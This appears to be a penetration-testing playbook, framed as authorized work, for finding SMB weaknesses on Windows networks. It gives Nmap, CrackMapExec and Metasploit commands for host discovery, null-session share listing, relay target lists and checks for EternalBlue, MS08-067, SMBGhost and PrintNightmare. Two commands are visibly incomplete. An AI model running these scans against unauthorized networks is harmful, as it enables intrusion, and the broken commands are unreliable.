exploiting-smb-vulnerabilities-with-metasploit

name	exploiting-smb-vulnerabilities-with-metasploit
description	Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.
domain	cybersecurity
subdomain	network-security
tags	["network-security","smb","metasploit","exploitation","eternalblue"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Exploiting SMB Vulnerabilities with Metasploit

When to Use

• Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests
• Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying
• Validating that patch management processes have addressed known SMB vulnerabilities
• Assessing SMB signing enforcement and share permission configurations across the domain
• Testing network segmentation by attempting SMB exploitation across VLAN boundaries

Do not use against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.

Prerequisites

• Metasploit Framework 6.x installed (msfconsole --version)
• Authorized penetration test scope document listing target IP ranges and approved attack types
• Network access to target SMB services (TCP 445, TCP 139)
• CrackMapExec and Impacket tools installed for complementary SMB testing
• Valid test credentials or credential wordlists approved for the engagement
• Kali Linux or equivalent testing platform

Workflow

Step 1: Enumerate SMB Services and Versions

# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24

# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24

# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt

# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing

# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares

Step 2: Scan for Known SMB Vulnerabilities

# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run

# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)>  RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run


nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24


crackmapexec smb 10.10.0.0/24 -u testuser -p  -M printnightmare